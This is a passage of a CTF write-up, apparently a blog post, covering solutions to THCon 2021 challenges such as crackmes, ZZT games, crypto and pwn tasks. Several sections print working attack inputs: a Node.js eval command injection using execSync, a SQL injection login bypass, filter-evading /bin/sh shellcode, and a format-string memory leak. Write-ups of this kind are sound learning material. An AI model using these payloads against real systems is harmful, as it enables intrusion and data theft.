instruction. - Obtain the currant time via the function
time
and invert (bitwise NOT) the lower 32 bits. - Convert the first command-line argument to an integer via the
atoi
function. - If the result and 2 and 3 are the same, print some string as "the flag".
I obtained the data put via the movb
instructions from the disassembling result.
It consisted of these three data, delimited by a 0x00 byte:
4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6
A program to obtain the data
#!/usr/bin/perl
use strict;
use warnings;
my @data = ();
while (my $line = <STDIN>) {
if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
push(@data, "$2\t$1");
}
}
my @data_s = sort {
my ($a1, $a2) = split(/\t/, $a);
my ($b1, $b2) = split(/\t/, $b);
return hex($b1) <=> hex($a1);
} @data;
my @ress = ();
my $res = "";
for (my $i = 0; $i < @data_s; $i++) {
print "$data_s[$i]\n";
my ($pos, $value) = split(/\t/, $data_s[$i]);
my $ivalue = hex($value);
if ($ivalue == 0) {
push(@ress, $res);
$res = "";
} else {
$res .= chr($ivalue);
}
}
push(@ress, $res);
for (my $i = 0; $i < @ress; $i++) {
print "$ress[$i]\n";
}
The string that begins with 4B5A
was printed as "the flag".
I applied "From Hex" and "Magic" on CyberChef to the string and got the flag.
The Recipe displayed for Magic was:
From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}
ELF x64 - BaseJumper CrackMe
An ELF file was given.
I disassembled that via objdump
from TDM-GCC, seeing many movb
instructions that looked similar to ones in the challenge ELF x64 - Right on Time.
I obtained the data in the way I did in the challenge and got these strings:
4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K
I applied "From Hex" and "Magic" on CyberChef to the string just as I did for the challenge, and I got the flag.
THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}
TUR-ROX-Z
A file THCON21Z.ZZT
was given.
I launched the game like I did in the challenge TUR-ROX-Y, and this screen was presented:
The right white person told me that there is an integrated level editor.
The upper yellow person told me that the whole universe will be rolled back if I fail to find the flag.
Going up, this screen was presented:
Going left, this screen was presented:
Going left further, this screen was presented:
Now it looked like I should solve the puzzle in the upper screen.
Then, I thought about the information that there is an integrated level editor, and that a reference for the language is introduced.
Jumping to the conclusion, it was helpful to solve the puzzle to open the upper screen in the editor, watching the settings and modifying the screen.
The ?
in the center of screen can be made accessible by erasing the yellow walls around them.
This enables us to watch the status.
The editor revealed that there are some hidden walls and an object in the black rectangle surrounded by the red walls in the right, so I modified them so that I can see them.
Also I read the programs assigned to the !
, upside-down !
s, and the face on the left.
In the blue part, pushing the upside-down !
in the left increments the number of Gem by one.
First push of the upside-down !
in the right decreases the number of Gem by 4, and it becomes to the successful state when the number of Gem is zero on the second push.
This means I should push the left one 4 times, and then push the right one 2 times.
In the red part, pushing the upside-down !
in the left moves the object in the rectangle in the right up by one unit, and pushing one in the right moves that right by one unit.
Using them, moving the object to the end will lead to the successful state.
In other words, I should push the left one 2 times, the right one 4 times, the left one 2 times, and the right one 2 times.
In the green part, I requested to read and understand the program, referring to the reference.
Pushing the upside-down !
in the left has it execute #zap Checker12:lblMulti
.
Pushing the upside-down !
in the right has it execute #restore Checker12:lblMulti
.
Pushing the face in the left has it send lblMulti
to Checker12
.
Checker12
is the upper !
, and the following program is assigned to that:
The program for `Checker12`
@Checker12
#end
:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end
:lblMulti
#set flagOkA2
' "gg !"
#send GlobCheck:lblBack12
#end
:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end
The reference tells me that #zap
will disable one label (a line that begins with :
) by turning it into a comment, and that #restore
will have one disabled label revive.
As a conclusion, it executed both of #set flagOkA1
and #set flagOkA2
, turning it to the successful state by doing the following:
- Expose
:lblMulti
before#set flagOkA2
by pushing the upside-down!
in the left 7 times. - Push the upside-down
!
in the right once and recover the first:lblMulti
. - Drive the other part to a proper status and press the face in the left.
Finally, the goal was the following status.
The flag was obtained by combining the information in the first screen and positions of each upside-down !
s.
THCon21{Z824753}
TUR-ROX-Y
A file THCON21Y.ZZT
was given.
Firstly I googled "zzt" and found that it is a game for MS-DOS.
ZZT - Wikipedia
It was available in:
The game: GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT
An emulator to run the game: zeta
We can launch the game after putting the files for the game and the file from the challenge in the directory where zeta is extracted to.
Launching the game, this screen was presented:
Going right, this screen was presented:
Going up, this screen was presented. The screen was destructed after a while.
Going down, this screen was presented. The information about hash was destructed after a while.
Going left from here, there were 26 pages of code like this:
I managed to copy the code (PuzzleScript) by seeing and typing.
Considering the information in the down screen, I opened
PuzzleScript - an open-source HTML5 puzzle game engine
and pressed "Make A game". Then I pasted the code to the left part of the page and pressed "RUN" in the upper part.
It launched another game.
In this game, toggling the eight switches changed the five pictures.
The goal was making all the five pictures purple by setting the switches to the right state.
I managed to solve the first level by manual trial-and-error, but the second level looked tough.
Seeing this, I created a program with Hot Soup Processor to automate the operation of the keyboard and to brute-force the switches.
I used the Gray code, using which we can proceed to the next state by toggling only one bit, to save the cost of toggling.
The program for brute-forcing (automating the operation)
Launch this program after moving the player character under the rightmost switch,
and set up to have the key operation routed to the game in 3 seconds, to use this program.
#include "hspext.as"
gsel 0, 2
mes "start after 3 sec."
wait 300
aplfocus
KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39
x = 7
value = 0
for i, 0, 256, 1
target = i ^ (i >> 1)
for j, 0, 8, 1
if (((target ^ value) >> (7 - j)) & 1) != 0 {
while x > j
aplkey KEY_LEFT
x = x - 1
wait 1
wend
while x < j
aplkey KEY_RIGHT
x = x + 1
wait 1
wend
aplkey KEY_UP
wait 1
}
next
value = target
title strf("%3d", i) + " / " + strf("%02X", target)
wait 50
next
This game had three levels. The goal of each levels were:
1st level | 2nd level | 3rd level |
---|---|---|
I obtained the flag by combining information corrected like this, following instructions from the games:
- The initial screen:
THCon21{Y...}
- The two digits of the SHA-256 hash value of the PuzzleScript (LF for newlines, no newline at the end):
THCon21{-95----}
- What was presented when the 2nd level was solved:
THCon21{---E5--}
- What was presented when the 3rd level was solved:
THCon21{-----CD}
THCon21{Y95E5CD}
Windows
Unfortunately I could solve no problems in this category.
steganography
Unfortunately I could solve no problems in this category.
web
Unsafe Math
An URL for a web page and a server program index.js
for that page were given.
The page had input fields for width
and height
(type="number"
) and a "Submit" button.
The program index.js
checks if both of width.length
and height.length
are not more than 10 and return the evaluation result of eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')
when some data is sent via POST.
As I learned from "GETS Request" in San Diego CTF 2021, the length
property can be set to 1
by passing arrays and the check can be bypassed.
Using the execSync
function, we can execute commands and retrieve their results.
I did some investigation using this for executing commands.
Firstly, using the developer tools in Firefox, I changed
<input name="width" type="number" min="0">
to
<input name="width[]" type="text" min="0">
I succeed to obtain the result of ls /
by putting
require('child_process').execSync("ls /")).toString() + (1
to the field and 1
to the height
field and pressing the "Submit" button.
1
is put to the height
field in the following queries.
As the result contained chall
, I put
require('child_process').execSync("ls /chall")).toString() + (1
to the width[]
field and pressed the "Submit" button, obtaining the result of ls /chall
.
Seeing sec9et_fl46.txt
in the result, I put
require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1
to the width[]
field and sent that to read the file and to obtain the flag.
This is used for file reading: File system | Node.js v16.3.0 Documentation
THCon21{t34cHiN6_1s_N0t_sO_3@sY}
app script
Unfortunately I could solve no problems in this category.
programmation
Living QR Code
A file living_QR.gif
was given. It was an animated GIF.
I opened that with Giam (Japanese page and software), finding that there are 41 frames and each of them had one QR Code.
I read them via Psytec QR Code Editor (Japanese page and software) to read them one-by-one manually and lined up the results, obtaining the flag.
THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}
"QR Code" is a registered trademark of DENSO WAVE INCORPORATED.
Intro
Welcome
An invitation link for Discord was given.
I joined to the server via my Web browser and searched for the flag.
I found the flag on the upper part of the screen and after the "This is the start" message in the channels #📄-règles
and #📄-rules
.
The flag was displayed in a copy-able way after clicking the upper part.
THCon21{H31l0_th3re!}
SQL for dummies
An URL for a web page was given.
The page had a form consists of:
- A field for Username
- A field for Password
- A "Log In" button
The flag was displayed after hitting the "Log In" button, entering ' or 1=1 --
as the Username and a
as the Password.
THCon21{eA3y*QL_1nject0R}
My first one time pad
The following files plaintext.txt
and encrypted.txt
were given.
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f
The challenge description said:
I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?
Encryption in one-time pad should be an exclusive-or of the plain-text and the key, so we can obtain the key by calculating the exclusive-or of the cipher-text and the plain-text.
I obtained the flag via CyberChef.
I put the contents of plaintext.txt
as the Input and performed:
- XOR using the contents of
encrypted.txt
as the Key (HEX) - XOR using the contents after
the result here:
in theplaintext.txt
as the Key (HEX)
THCon21{1Tp_w0rK3_0nly_0nC3}
Blacklisted
Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump
from TDM-GCC and read that, finding that it is performing the following:
- Print some message
- Read some input via the
read
function - Copy what it read via the
strncpy
function - Test the copy of what it read via
check_blacklist
function - If it passes the test, execute the copy of what is read via the
callq
instruction
Also, I found these strings by viewing the ELF file in a binary editor:
/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max):
[-] Error while reading input.
This suggested me that I should enter a shell-code and that input that contains one of /bin/
, /tmp/
, flag.txt
, or sh
will be rejected.
Also it is worth noting that input that contain a 0x00 byte will be truncated because the strncpy
function is used.
Considering these, I obtained an access to the shell by assembling the following shellcode via NASM and sending that via Send File (Paste content of file) (Binary) on Tera Term.
After that, I obtained the flag by executing a command cat flag.txt
.
The shell-code
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
Assembled:
48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05
THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}
Clairvoyance
Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump
from TDM-GCC and read that, finding that it is performing the following:
- Call the
read_flag
function and load the contents of the fileflag.txt
to the memory at 0x404080 - Call the
fgets
function to read at most 0x1f bytes on the stack - Call the
fgets
function to read at most 0x7 bytes on the stack - Pass what is read in 2 as the 1st argument of the
printf
function if what is read in 3 isyes
Putting this
%p%p%p%p%p%p%p%p%p%p%p%p%p%p
for the 2nd step, I got the following output (newlines are added for readability):
0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320
Note that what is entered is printed from the 10th output.
What is entered is placed on the stack and it overlaps with where the printf
function reads what to print from.
Keeping in mind that the printing ends at a 0x00 byte because the 1st argument of the printf
is a string, I sent this via TCP/IPテストツール (Japanese page and software) and obtained the flag:
%11$s###<80><40><40><00><00><00><00><00><LF>
(<xx>
means a byte with the hexadecimal value and <LF>
means a byte 0x0A)
THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}